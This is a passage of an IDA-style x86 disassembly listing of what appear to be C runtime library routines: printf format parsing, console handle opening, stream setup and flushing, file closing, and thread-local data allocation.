mov eax, off_411210[ebx*4]
test eax, eax
jz short loc_4087C6
push eax
call dword_411DCC
mov eax, off_411210[ebx*4]
push eax
call sub_4071B0
pop ecx
loc_4087C6: ; CODE XREF: sub_4087A0+Fj
inc ebx
cmp ebx, 9
jl short loc_4087A6
mov eax, off_411210
push eax
call dword_411DCC
mov eax, off_411214
push eax
call dword_411DCC
mov eax, off_411218
push eax
call dword_411DCC
mov eax, off_41121C
push eax
call dword_411DCC
pop ebx
retn
sub_4087A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408800 proc near ; CODE XREF: sub_4071B0+4Bp
; sub_4073C0+28p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 4
push ebx
mov ebx, [ebp+arg_0]
cmp off_411210[ebx*4], 0
jnz short loc_408865
push 18h
call sub_408260
pop ecx
mov [ebp+var_4], eax
test eax, eax
jnz short loc_40882B
push 1
call sub_409250
pop ecx
loc_40882B: ; CODE XREF: sub_408800+21j
push 3
call sub_408800
pop ecx
cmp off_411210[ebx*4], 0
jnz short loc_408853
mov eax, [ebp+var_4]
push eax
call dword_411CC8
mov eax, [ebp+var_4]
mov off_411210[ebx*4], eax
jmp short loc_40885D
; ---------------------------------------------------------------------------
loc_408853: ; CODE XREF: sub_408800+3Bj
mov eax, [ebp+var_4]
push eax
call sub_4071B0
pop ecx
loc_40885D: ; CODE XREF: sub_408800+51j
push 3
call sub_408880
pop ecx
loc_408865: ; CODE XREF: sub_408800+12j
mov eax, off_411210[ebx*4]
push eax
call dword_411CCC
pop ebx
mov esp, ebp
pop ebp
retn
sub_408800 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_408880 proc near ; CODE XREF: sub_40721A+2p
; sub_40741B+2p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov eax, off_411210[eax*4]
push eax
call dword_411CD0
retn
sub_408880 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4088A0 proc near ; CODE XREF: sub_407280+3Dp
; sub_407320+27p ...
var_84 = byte ptr -84h
var_50 = dword ptr -50h
var_4A = word ptr -4Ah
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = byte ptr -40h
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = word ptr -8
var_6 = byte ptr -6
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 84h
push ebx
push esi
push edi
mov ebx, [ebp+arg_8]
mov [ebp+var_48], 0
mov [ebp+var_44], 0
mov eax, [ebp+arg_0]
mov [ebp+var_38], eax
mov eax, [ebp+arg_4]
mov [ebp+var_34], eax
mov [ebp+var_10], 0
loc_4088D0: ; CODE XREF: sub_4088A0+A4j
; sub_4088A0+264j
mov [ebp+var_4A], 0
lea eax, [ebp+var_48]
push eax
push 7FFFFFFFh
push ebx
lea eax, [ebp+var_4A]
push eax
call sub_409A10
add esp, 10h
mov esi, eax
test eax, eax
jg short loc_4088FD
cmp byte ptr [ebx], 0
setnz al
and eax, 1
mov esi, eax
loc_4088FD: ; CODE XREF: sub_4088A0+50j
cmp [ebp+var_4A], 25h
jnz short loc_40890C
lea eax, [esi-1]
mov [ebp+var_50], eax
jmp short loc_40890F
; ---------------------------------------------------------------------------
loc_40890C: ; CODE XREF: sub_4088A0+62j
mov [ebp+var_50], esi
loc_40890F: ; CODE XREF: sub_4088A0+6Aj
mov eax, [ebp+var_50]
mov edi, eax
test eax, eax
jle short loc_408936
push edi
push ebx
mov eax, [ebp+var_34]
push eax
call [ebp+var_38]
add esp, 0Ch
mov [ebp+var_34], eax
test eax, eax
jnz short loc_408933
or eax, 0FFFFFFFFh
jmp loc_408B0D
; ---------------------------------------------------------------------------
loc_408933: ; CODE XREF: sub_4088A0+89j
add [ebp+var_10], edi
loc_408936: ; CODE XREF: sub_4088A0+76j
add ebx, esi
cmp [ebp+var_4A], 25h
jz short loc_40894E
cmp [ebp+var_4A], 0
jnz short loc_4088D0
mov eax, [ebp+var_10]
jmp loc_408B0D
; ---------------------------------------------------------------------------
loc_40894E: ; CODE XREF: sub_4088A0+9Dj
mov [ebp+var_18], 0
mov [ebp+var_1C], 0
mov [ebp+var_20], 0
mov [ebp+var_24], 0
mov [ebp+var_28], 0
mov [ebp+var_2C], 0
mov [ebp+var_8], 0
jmp short loc_408999
; ---------------------------------------------------------------------------
loc_408980: ; CODE XREF: sub_4088A0+10Ej
movzx eax, [ebp+var_8]
mov edx, offset dword_40FAF0
mov ecx, esi
sub ecx, edx
or eax, dword_40FAF8[ecx*4]
mov [ebp+var_8], ax
inc ebx
loc_408999: ; CODE XREF: sub_4088A0+DEj
movzx eax, byte ptr [ebx]
push eax
push offset dword_40FAF0
call sub_408F40
add esp, 8
mov esi, eax
test eax, eax
jnz short loc_408980
cmp byte ptr [ebx], 2Ah
jnz short loc_4089D8
mov eax, [ebp+arg_C]
add eax, 4
mov [ebp+arg_C], eax
mov eax, [eax-4]
mov [ebp+var_C], eax
test eax, eax
jge short loc_4089D5
mov eax, [ebp+var_C]
neg eax
mov [ebp+var_C], eax
or [ebp+var_8], 4
loc_4089D5: ; CODE XREF: sub_4088A0+126j
inc ebx
jmp short loc_408A0E
; ---------------------------------------------------------------------------
loc_4089D8: ; CODE XREF: sub_4088A0+113j
mov [ebp+var_C], 0
jmp short loc_4089FD
; ---------------------------------------------------------------------------
loc_4089E1: ; CODE XREF: sub_4088A0+16Cj
cmp [ebp+var_C], 7FFFFFFFh
jge short loc_4089FC
mov eax, [ebp+var_C]
lea eax, [eax+eax*4]
add eax, eax
movzx edx, byte ptr [ebx]
lea eax, [edx+eax-30h]
mov [ebp+var_C], eax
loc_4089FC: ; CODE XREF: sub_4088A0+148j
inc ebx
loc_4089FD: ; CODE XREF: sub_4088A0+13Fj
movzx eax, byte ptr [ebx]
mov edx, off_411898
test word ptr [edx+eax*2], 1
jnz short loc_4089E1
loc_408A0E: ; CODE XREF: sub_4088A0+136j
cmp byte ptr [ebx], 2Eh
jz short loc_408A19
or [ebp+var_14], 0FFFFFFFFh
jmp short loc_408A69
; ---------------------------------------------------------------------------
loc_408A19: ; CODE XREF: sub_4088A0+171j
inc ebx
mov eax, ebx
cmp byte ptr [eax], 2Ah
jnz short loc_408A33
mov eax, [ebp+arg_C]
add eax, 4
mov [ebp+arg_C], eax
mov eax, [eax-4]
mov [ebp+var_14], eax
inc ebx
jmp short loc_408A69
; ---------------------------------------------------------------------------
loc_408A33: ; CODE XREF: sub_4088A0+17Fj
mov [ebp+var_14], 0
jmp short loc_408A58
; ---------------------------------------------------------------------------
loc_408A3C: ; CODE XREF: sub_4088A0+1C7j
cmp [ebp+var_14], 7FFFFFFFh
jge short loc_408A57
mov eax, [ebp+var_14]
lea eax, [eax+eax*4]
add eax, eax
movzx edx, byte ptr [ebx]
lea eax, [edx+eax-30h]
mov [ebp+var_14], eax
loc_408A57: ; CODE XREF: sub_4088A0+1A3j
inc ebx
loc_408A58: ; CODE XREF: sub_4088A0+19Aj
movzx eax, byte ptr [ebx]
mov edx, off_411898
test word ptr [edx+eax*2], 1
jnz short loc_408A3C
loc_408A69: ; CODE XREF: sub_4088A0+177j
; sub_4088A0+191j
movzx eax, byte ptr [ebx]
push eax
push offset aHjltzl ; "hjltzL"
call sub_408F40
add esp, 8
test eax, eax
jz short loc_408A86
mov eax, ebx
inc ebx
movzx edi, byte ptr [eax]
jmp short loc_408A88
; ---------------------------------------------------------------------------
loc_408A86: ; CODE XREF: sub_4088A0+1DCj
xor edi, edi
loc_408A88: ; CODE XREF: sub_4088A0+1E4j
mov eax, edi
mov [ebp+var_6], al
cmp al, 68h
jnz short loc_408A9D
cmp byte ptr [ebx], 68h
jnz short loc_408A9D
mov [ebp+var_6], 62h
inc ebx
jmp short loc_408ACD
; ---------------------------------------------------------------------------
loc_408A9D: ; CODE XREF: sub_4088A0+1EFj
; sub_4088A0+1F4j
cmp [ebp+var_6], 6Ch
jnz short loc_408AAF
cmp byte ptr [ebx], 6Ch
jnz short loc_408AAF
mov [ebp+var_6], 71h
inc ebx
jmp short loc_408ACD
; ---------------------------------------------------------------------------
loc_408AAF: ; CODE XREF: sub_4088A0+201j
; sub_4088A0+206j
cmp [ebp+var_6], 0
jnz short loc_408ACD
cmp byte ptr [ebx], 49h
jnz short loc_408ACD
cmp byte ptr [ebx+1], 36h
jnz short loc_408ACD
cmp byte ptr [ebx+2], 34h
jnz short loc_408ACD
mov [ebp+var_6], 71h
add ebx, 3
loc_408ACD: ; CODE XREF: sub_4088A0+1FBj
; sub_4088A0+20Dj ...
lea eax, [ebp+var_84]
push eax
mov eax, ebx
inc ebx
movzx eax, byte ptr [eax]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_40]
push eax
call sub_409CF0
add esp, 10h
test eax, eax
jnz short loc_408B0A
lea eax, [ebp+var_84]
push eax
lea eax, [ebp+var_40]
push eax
call sub_40A430
add esp, 8
test eax, eax
jge loc_4088D0
loc_408B0A: ; CODE XREF: sub_4088A0+24Dj
or eax, 0FFFFFFFFh
loc_408B0D: ; CODE XREF: sub_4088A0+8Ej
; sub_4088A0+A9j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4088A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_408B20 proc near ; CODE XREF: sub_407320+6p
cmp dword_411234, 0
jz short loc_408B2F
mov eax, dword_411234
retn
; ---------------------------------------------------------------------------
loc_408B2F: ; CODE XREF: sub_408B20+7j
push 0
push 0
push 3
push 0
push 3
push 0C0000000h
push offset aConout ; "CONOUT$"
call dword_411DD0
retn
sub_408B20 endp
; ---------------------------------------------------------------------------
align 10h
cmp dword_411238, 0
jz short loc_408B5F
mov eax, dword_411238
retn
; ---------------------------------------------------------------------------
loc_408B5F: ; CODE XREF: DMN0:00408B57j
push 0
push 0
push 3
push 0
push 3
push 0C0000000h
push offset aConin ; "CONIN$"
call dword_411DD0
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_408B80 proc near ; CODE XREF: sub_4073C0+35p
push ebx
push esi
xor esi, esi
xor ebx, ebx
loc_408B86: ; CODE XREF: sub_408B80+4Ej
cmp off_411370[ebx*4], 0
jnz short loc_408BAC
push 4Ch
call sub_408260
pop ecx
mov esi, eax
test esi, esi
jz short loc_408BD0
mov off_411370[ebx*4], esi
mov word ptr [esi], 80h
jmp short loc_408BD0
; ---------------------------------------------------------------------------
loc_408BAC: ; CODE XREF: sub_408B80+Ej
mov eax, off_411370[ebx*4]
cmp word ptr [eax], 0
jnz short loc_408BC7
mov esi, off_411370[ebx*4]
mov word ptr [esi], 0FF7Fh
jmp short loc_408BD0
; ---------------------------------------------------------------------------
loc_408BC7: ; CODE XREF: sub_408B80+37j
inc ebx
cmp ebx, 100h
jb short loc_408B86
loc_408BD0: ; CODE XREF: sub_408B80+1Cj
; sub_408B80+2Aj ...
mov eax, esi
pop esi
pop ebx
retn
sub_408B80 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408BE0 proc near ; CODE XREF: sub_4073C0+45p
var_8 = dword ptr -8
var_2 = word ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov ebx, [ebp+arg_8]
test ebx, ebx
jnz short loc_408BF7
xor eax, eax
jmp loc_408D1B
; ---------------------------------------------------------------------------
loc_408BF7: ; CODE XREF: sub_408BE0+Ej
mov ax, [ebx]
and ax, 80h
mov [ebp+var_2], ax
mov edi, ebx
mov esi, offset dword_40FB28
mov ecx, 13h
rep movsd
lea eax, [ebx+48h]
mov [ebx+8], eax
lea eax, [ebx+48h]
mov [ebx+10h], eax
lea eax, [ebx+48h]
mov [ebx+14h], eax
lea eax, [ebx+48h]
mov [ebx+2Ch], eax
lea eax, [ebx+48h]
mov [ebx+18h], eax
lea eax, [ebx+48h]
mov [ebx+30h], eax
lea eax, [ebx+48h]
mov [ebx+1Ch], eax
lea eax, [ebx+28h]
mov [ebx+20h], eax
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 72h
jnz short loc_408C51
mov [ebp+var_8], 1
jmp short loc_408C78
; ---------------------------------------------------------------------------
loc_408C51: ; CODE XREF: sub_408BE0+66j
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 77h
jnz short loc_408C62
mov [ebp+var_8], 1Ah
jmp short loc_408C75
; ---------------------------------------------------------------------------
loc_408C62: ; CODE XREF: sub_408BE0+77j
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 61h
setnz al
and eax, 1
dec eax
and eax, 16h
mov [ebp+var_8], eax
loc_408C75: ; CODE XREF: sub_408BE0+80j
mov eax, [ebp+var_8]
loc_408C78: ; CODE XREF: sub_408BE0+6Fj
movzx eax, [ebp+var_2]
or eax, [ebp+var_8]
mov [ebx], ax
test word ptr [ebx], 3
jnz short loc_408CBB
push ebx
call sub_407620
pop ecx
xor eax, eax
jmp loc_408D1B
; ---------------------------------------------------------------------------
loc_408C97: ; CODE XREF: sub_408BE0+E5j
; sub_408BE0+EDj
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 62h
jnz short loc_408CAC
test word ptr [ebx], 20h
jnz short loc_408CCF
or word ptr [ebx], 20h
jmp short loc_408CBB
; ---------------------------------------------------------------------------
loc_408CAC: ; CODE XREF: sub_408BE0+BDj
movzx eax, word ptr [ebx]
and eax, 3
cmp eax, 3
jz short loc_408CCF
or word ptr [ebx], 3
loc_408CBB: ; CODE XREF: sub_408BE0+A7j
; sub_408BE0+CAj
mov eax, [ebp+arg_4]
inc eax
mov [ebp+arg_4], eax
cmp byte ptr [eax], 62h
jz short loc_408C97
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 2Bh
jz short loc_408C97
loc_408CCF: ; CODE XREF: sub_408BE0+C4j
; sub_408BE0+D5j
cmp [ebp+arg_0], 0
jz short loc_408CFD
mov eax, [ebp+arg_4]
push eax
movzx eax, word ptr [ebx]
push eax
mov eax, [ebp+arg_0]
push eax
call sub_40A6A0
add esp, 0Ch
mov [ebx+4], eax
cmp dword ptr [ebx+4], 0
jge short loc_408D14
push ebx
call sub_407620
pop ecx
xor eax, eax
jmp short loc_408D1B
; ---------------------------------------------------------------------------
loc_408CFD: ; CODE XREF: sub_408BE0+F3j
cmp [ebp+arg_C], 0
jge short loc_408D0E
push ebx
call sub_407620
pop ecx
xor eax, eax
jmp short loc_408D1B
; ---------------------------------------------------------------------------
loc_408D0E: ; CODE XREF: sub_408BE0+121j
mov eax, [ebp+arg_C]
mov [ebx+4], eax
loc_408D14: ; CODE XREF: sub_408BE0+110j
call sub_4074C0
mov eax, ebx
loc_408D1B: ; CODE XREF: sub_408BE0+12j
; sub_408BE0+B2j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_408BE0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_408D30 proc near ; CODE XREF: sub_4074C0+4Dp
arg_0 = dword ptr 4
mov eax, dword_4111A4
cmp dword_4111A0, eax
ja short loc_408D44
call sub_40A710
jmp short locret_408D5D
; ---------------------------------------------------------------------------
loc_408D44: ; CODE XREF: sub_408D30+Bj
mov eax, dword_4111A4
lea edx, [eax+1]
mov dword_4111A4, edx
mov edx, [esp+arg_0]
mov dword_411060[eax*4], edx
locret_408D5D: ; CODE XREF: sub_408D30+12j
retn
sub_408D30 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408D60 proc near ; CODE XREF: sub_407540+8p
; sub_407820+D0p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
test ebx, ebx
jnz short loc_408DBE
push 6
call sub_408800
pop ecx
mov [ebp+var_8], 0
mov [ebp+var_4], 0
jmp short loc_408DA8
; ---------------------------------------------------------------------------
loc_408D88: ; CODE XREF: sub_408D60+4Fj
mov eax, [ebp+var_4]
mov eax, off_411370[eax*4]
test eax, eax
jz short loc_408DA5
push eax
call sub_408D60
pop ecx
test eax, eax
jge short loc_408DA5
or [ebp+var_8], 0FFFFFFFFh
loc_408DA5: ; CODE XREF: sub_408D60+34j
; sub_408D60+3Fj
inc [ebp+var_4]
loc_408DA8: ; CODE XREF: sub_408D60+26j
cmp [ebp+var_4], 100h
jl short loc_408D88
push 6
call sub_408880
pop ecx
mov eax, [ebp+var_8]
jmp short loc_408E30
; ---------------------------------------------------------------------------
loc_408DBE: ; CODE XREF: sub_408D60+Ej
test word ptr [ebx], 2000h
jnz short loc_408DC9
xor eax, eax
jmp short loc_408E30
; ---------------------------------------------------------------------------
loc_408DC9: ; CODE XREF: sub_408D60+63j
mov esi, [ebx+8]
jmp short loc_408E05
; ---------------------------------------------------------------------------
loc_408DCE: ; CODE XREF: sub_408D60+A8j
mov eax, [ebx+10h]
sub eax, esi
push eax
push esi
mov eax, [ebx+4]
push eax
call sub_40A920
add esp, 0Ch
mov edi, eax
test edi, edi
jg short loc_408E03
mov eax, [ebx+8]
mov [ebx+10h], eax
mov eax, [ebx+8]
mov [ebx+18h], eax
mov eax, [ebx+8]
mov [ebx+30h], eax
or word ptr [ebx], 200h
or eax, 0FFFFFFFFh
jmp short loc_408E30
; ---------------------------------------------------------------------------
loc_408E03: ; CODE XREF: sub_408D60+85j
add esi, edi
loc_408E05: ; CODE XREF: sub_408D60+6Cj
cmp esi, [ebx+10h]
jb short loc_408DCE
mov eax, [ebx+8]
mov [ebx+10h], eax
test word ptr [ebx], 0C00h
jz short loc_408E1C
mov esi, [ebx+8]
jmp short loc_408E1F
; ---------------------------------------------------------------------------
loc_408E1C: ; CODE XREF: sub_408D60+B5j
mov esi, [ebx+0Ch]
loc_408E1F: ; CODE XREF: sub_408D60+BAj
test word ptr [ebx], 4000h
jz short loc_408E2B
mov [ebx+18h], esi
jmp short loc_408E2E
; ---------------------------------------------------------------------------
loc_408E2B: ; CODE XREF: sub_408D60+C4j
mov [ebx+30h], esi
loc_408E2E: ; CODE XREF: sub_408D60+C9j
xor eax, eax
loc_408E30: ; CODE XREF: sub_408D60+5Cj
; sub_408D60+67j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_408D60 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408E40 proc near ; CODE XREF: sub_408EE0+41p
; sub_40B9A0+328p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 4
push ebx
push esi
mov ebx, [ebp+arg_0]
push ebx
call sub_40AC20
pop ecx
cmp eax, 0FFFFFFFFh
jz short loc_408E8F
cmp ebx, 1
jz short loc_408E63
cmp ebx, 2
jnz short loc_408E7D
loc_408E63: ; CODE XREF: sub_408E40+1Cj
push 1
call sub_40AC20
pop ecx
mov [ebp+var_4], eax
push 2
call sub_40AC20
pop ecx
mov edx, [ebp+var_4]
cmp edx, eax
jz short loc_408E8F
loc_408E7D: ; CODE XREF: sub_408E40+21j
push ebx
call sub_40AC20
pop ecx
push eax
call dword_411CF8
test eax, eax
jz short loc_408E93
loc_408E8F: ; CODE XREF: sub_408E40+17j
; sub_408E40+3Bj
xor esi, esi
jmp short loc_408E9B
; ---------------------------------------------------------------------------
loc_408E93: ; CODE XREF: sub_408E40+4Dj
call dword_411CE8
mov esi, eax
loc_408E9B: ; CODE XREF: sub_408E40+51j
push ebx
call sub_40AAD0
pop ecx
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
mov byte ptr [edx+eax+4], 0
test esi, esi
jz short loc_408ECB
push esi
call sub_408300
pop ecx
or eax, 0FFFFFFFFh
jmp short loc_408ECD
; ---------------------------------------------------------------------------
loc_408ECB: ; CODE XREF: sub_408E40+7Dj
xor eax, eax
loc_408ECD: ; CODE XREF: sub_408E40+89j
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_408E40 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_408EE0 proc near ; CODE XREF: sub_407540+30p
arg_0 = dword ptr 4
push ebx
push esi
mov ebx, [esp+8+arg_0]
cmp ebx, dword_413A88
jnb short loc_408F09
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
test byte ptr [edx+eax+4], 1
jnz short loc_408F19
loc_408F09: ; CODE XREF: sub_408EE0+Cj
call sub_408460
mov dword ptr [eax], 9
or eax, 0FFFFFFFFh
jmp short loc_408F32
; ---------------------------------------------------------------------------
loc_408F19: ; CODE XREF: sub_408EE0+27j
push ebx
call sub_40AD40
pop ecx
push ebx
call sub_408E40
pop ecx
mov esi, eax
push ebx
call sub_40ADA0
pop ecx
mov eax, esi
loc_408F32: ; CODE XREF: sub_408EE0+37j
pop esi
pop ebx
retn
sub_408EE0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_408F40 proc near ; CODE XREF: sub_407780+39p
; sub_4088A0+102p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_0]
mov eax, [esp+arg_4]
mov dl, al
jmp short loc_408F55
; ---------------------------------------------------------------------------
loc_408F4C: ; CODE XREF: sub_408F40+17j
cmp byte ptr [ecx], 0
jnz short loc_408F54
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_408F54: ; CODE XREF: sub_408F40+Fj
inc ecx
loc_408F55: ; CODE XREF: sub_408F40+Aj
cmp [ecx], dl
jnz short loc_408F4C
mov eax, ecx
retn
sub_408F40 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408F60 proc near ; CODE XREF: sub_407820+3Dp
; sub_40CEC0+1Dp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 4
push ebx
mov ebx, [ebp+arg_0]
mov eax, [ebx+18h]
cmp eax, [ebx+10h]
jbe short loc_408F79
xor eax, eax
jmp loc_409052
; ---------------------------------------------------------------------------
loc_408F79: ; CODE XREF: sub_408F60+10j
movzx eax, word ptr [ebx]
and eax, 9002h
cmp eax, 2
jz short loc_408FB5
movzx eax, word ptr [ebx]
mov [ebp+var_4], eax
test eax, 8000h
setnz al
and eax, 1
dec eax
and eax, 4000h
add eax, 200h
mov edx, [ebp+var_4]
or edx, eax
mov ax, dx
mov [ebx], ax
or eax, 0FFFFFFFFh
jmp loc_409052
; ---------------------------------------------------------------------------
loc_408FB5: ; CODE XREF: sub_408F60+24j
movzx eax, word ptr [ebx]
and eax, 6000h
cmp eax, 6000h
jnz short loc_408FDC
mov eax, [ebx+0Ch]
cmp eax, [ebx+10h]
ja short loc_408FDC
push ebx
call sub_408D60
pop ecx
test eax, eax
jz short loc_408FDC
or eax, 0FFFFFFFFh
jmp short loc_409052
; ---------------------------------------------------------------------------
loc_408FDC: ; CODE XREF: sub_408F60+62j
; sub_408F60+6Aj ...
test word ptr [ebx], 0C00h
jnz short loc_408FEB
lea eax, [ebx+48h]
cmp eax, [ebx+8]
jz short loc_408FED
loc_408FEB: ; CODE XREF: sub_408F60+81j
jmp short loc_40903F
; ---------------------------------------------------------------------------
loc_408FED: ; CODE XREF: sub_408F60+89j
push 200h
call sub_408260
pop ecx
mov [ebx+8], eax
test eax, eax
jnz short loc_409019
lea eax, [ebx+48h]
mov [ebx+8], eax
mov eax, [ebx+8]
mov [ebx+10h], eax
mov eax, [ebx+8]
inc eax
mov [ebx+0Ch], eax
call sub_4074C0
jmp short loc_40903F
; ---------------------------------------------------------------------------
loc_409019: ; CODE XREF: sub_408F60+9Dj
or word ptr [ebx], 40h
mov eax, [ebx+8]
mov [ebx+10h], eax
mov eax, [ebx+8]
add eax, 200h
mov [ebx+0Ch], eax
mov eax, [ebx+8]
mov [ebx+2Ch], eax
mov eax, [ebx+8]
mov [ebx+30h], eax
call sub_4074C0
loc_40903F: ; CODE XREF: sub_408F60:loc_408FEBj
; sub_408F60+B7j
mov eax, [ebx+8]
mov [ebx+14h], eax
mov eax, [ebx+0Ch]
mov [ebx+18h], eax
or word ptr [ebx], 6000h
xor eax, eax
loc_409052: ; CODE XREF: sub_408F60+14j
; sub_408F60+50j ...
pop ebx
mov esp, ebp
pop ebp
retn
sub_408F60 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_409060 proc near ; CODE XREF: sub_407820+59p
; sub_409CF0+696p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
mov ecx, [esp+4+arg_8]
mov eax, [esp+4+arg_4]
mov bl, al
mov edx, [esp+4+arg_0]
jmp short loc_40907B
; ---------------------------------------------------------------------------
loc_409071: ; CODE XREF: sub_409060+1Dj
cmp [edx], bl
jnz short loc_409079
mov eax, edx
jmp short loc_409081
; ---------------------------------------------------------------------------
loc_409079: ; CODE XREF: sub_409060+13j
inc edx
dec ecx
loc_40907B: ; CODE XREF: sub_409060+Fj
test ecx, ecx
jnz short loc_409071
xor eax, eax
loc_409081: ; CODE XREF: sub_409060+17j
pop ebx
retn
sub_409060 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_409090 proc near ; CODE XREF: sub_407B60:loc_407BA7p
push ebx
call sub_408760
call dword_411DD4
mov dword_411770, eax
cmp eax, 0FFFFFFFFh
jnz short loc_4090AC
xor eax, eax
jmp short loc_4090E7
; ---------------------------------------------------------------------------
loc_4090AC: ; CODE XREF: sub_409090+16j
push 48h
call sub_408260
pop ecx
mov ebx, eax
test eax, eax
jz short loc_4090CB
push ebx
mov eax, dword_411770
push eax
call dword_411D98
test eax, eax
jnz short loc_4090CF
loc_4090CB: ; CODE XREF: sub_409090+28j
xor eax, eax
jmp short loc_4090E7
; ---------------------------------------------------------------------------
loc_4090CF: ; CODE XREF: sub_409090+39j
push ebx
call sub_409120
pop ecx
call dword_411DD8
mov [ebx], eax
or dword ptr [ebx+4], 0FFFFFFFFh
mov eax, 1
loc_4090E7: ; CODE XREF: sub_409090+1Aj
; sub_409090+3Dj
pop ebx
retn
sub_409090 endp
; ---------------------------------------------------------------------------
align 10h
call sub_4087A0
cmp dword_411770, 0FFFFFFFFh
jz short locret_409114
mov eax, dword_411770
push eax
call dword_411DDC
or dword_411770, 0FFFFFFFFh
locret_409114: ; CODE XREF: DMN0:004090FFj
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_409120 proc near ; CODE XREF: sub_4079D0+17p
; sub_409090+40p ...
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
mov edx, ebx
mov ecx, 48h
xor eax, eax
push edi
mov edi, edx
rep stosb
pop edi
mov eax, edx
mov dword ptr [ebx+34h], offset dword_4117E4
mov dword ptr [ebx+10h], 1
pop ebx
retn
sub_409120 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_409150 proc near ; CODE XREF: sub_407A60+1p sub_408460p ...
push ebx
push esi
call dword_411CE8
mov esi, eax
mov eax, dword_411770
push eax
call dword_411DE0
mov ebx, eax
test eax, eax
jnz short loc_4091A8
push 48h
call sub_408260
pop ecx
mov ebx, eax
test eax, eax
jz short loc_4091A0
push ebx
mov eax, dword_411770
push eax
call dword_411D98
test eax, eax
jz short loc_4091A0
push ebx
call sub_409120
pop ecx
call dword_411DD8
mov [ebx], eax
or dword ptr [ebx+4], 0FFFFFFFFh
jmp short loc_4091A8
; ---------------------------------------------------------------------------
loc_4091A0: ; CODE XREF: sub_409150+28j
; sub_409150+39j
push 1
call sub_409250
pop ecx
loc_4091A8: ; CODE XREF: sub_409150+1Aj
; sub_409150+4Ej
push esi
call dword_411D14
mov eax, ebx
pop esi
pop ebx
retn
sub_409150 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4091C0 proc near ; CODE XREF: sub_407A60+28p
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
cmp dword_411770, 0FFFFFFFFh
jz short loc_40924C
test ebx, ebx
jnz short loc_4091E3
mov eax, dword_411770
push eax
call dword_411DE0
mov ebx, eax
loc_4091E3: ; CODE XREF: sub_4091C0+13j
test ebx, ebx
jz short loc_40923E
mov eax, [ebx+20h]
push eax
call sub_4071B0
pop ecx
mov eax, [ebx+24h]
push eax
call sub_4071B0
pop ecx
mov eax, [ebx+28h]
push eax
call sub_4071B0
pop ecx
mov eax, [ebx+2Ch]
push eax
call sub_4071B0
pop ecx
mov eax, [ebx+30h]
push eax
call sub_4071B0
pop ecx
mov eax, [ebx+34h]
cmp eax, offset dword_4117E4
jz short loc_40922D
mov eax, [ebx+34h]
push eax
call sub_4071B0
pop ecx
loc_40922D: ; CODE XREF: sub_4091C0+61j
mov eax, [ebx+3Ch]
push eax
call sub_4071B0
pop ecx
push ebx
